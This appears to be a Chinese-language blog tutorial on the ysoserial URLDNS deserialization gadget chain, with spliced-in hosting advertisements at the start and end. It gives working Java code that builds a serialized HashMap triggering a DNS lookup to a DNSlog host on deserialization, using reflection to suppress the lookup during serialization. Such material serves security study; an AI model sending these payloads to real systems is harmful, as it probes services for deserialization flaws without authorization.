聽說這個鏈子是最簡單的鏈子之一了,但是卻是來來回回看了好多遍才勉強看明白。
成都創(chuàng)新互聯(lián)公司2013年至今,先為林甸等服務(wù)建站,林甸等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為林甸企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。在 ysoserial 中我們可以看見鏈子是這樣的:
*Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
簡單流程:
1.HashMap接收一個類O(URL類)
2.類O(URL類)的hashCode()后續(xù)的一串鏈子可以發(fā)起DNS請求
3.HashMap的readObject剛好可以調(diào)用O.hashCode();
現(xiàn)在我們來編寫類來觀察如何觸發(fā)DNS請求
package packet1;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest{
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMaphashmap = new HashMap();
URL url = new URL("http://25d13c3b.dns.1433.eu.org");
Classclazz = url.getClass();
hashmap.put(url, 1);
serialize(hashmap);
}
}
這個類可以進(jìn)行序列化,按照正常來說序列化的過程是不會進(jìn)行DNS請求的,但是我們查看DNSlog平臺:
發(fā)現(xiàn)序列化的時候就發(fā)起請求了,這樣有幾個非常不好的地方:
下圖是URL類中的hashCode()方法;
這里只有當(dāng)hashCode不為負(fù)一的時候才會走h(yuǎn)andler發(fā)起DNS請求
hashCode在初始化的時候已經(jīng)被賦值成-1了:
但是我們序列化之后值已經(jīng)被改變成為handler.hashCode了
那么就有一個疑問,序列化的時候是怎么觸發(fā)的?
我們跟進(jìn)put:
發(fā)現(xiàn)會調(diào)用hash函數(shù)。跟進(jìn)hash:
發(fā)現(xiàn)調(diào)用handler,并且此時hashCode的值被改變
跟進(jìn)hashcode:
調(diào)用getProtocol(),調(diào)用getHost():
其他更細(xì)節(jié)的我就沒跟進(jìn),但是我們需要知道調(diào)用URL的hashCode()之后,并且hashCode的值不為-1就會發(fā)起DNS請求。所以我們可以通過反射技術(shù)來改變值,以此來達(dá)到序列化的時候不進(jìn)行DNS請求,但是反序列化的時候會進(jìn)行DNS請求
所以讓我們來改進(jìn)代碼:
序列化代碼:
package packet1;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest{
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMaphashmap = new HashMap();
URL url = new URL("http://25d13c3b.dns.1433.eu.org");
Classclazz = url.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1234);
hashmap.put(url, 1);
field.set(url, -1);
serialize(hashmap);
}
}
在put之前我們改變url的hashCode值不為-1,put之后我們把url的hashCode改為-1,之后再對hashmap進(jìn)行序列化。
反序列化代碼:
package packet1;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializeTest {
public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize("ser.bin");
}
}
經(jīng)過測試之后,序列化的時候不會發(fā)起DNS請求,反序列化之后可以發(fā)起DNS請求.
你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級服務(wù)器適合批量采購,新人活動首月15元起,快前往官網(wǎng)查看詳情吧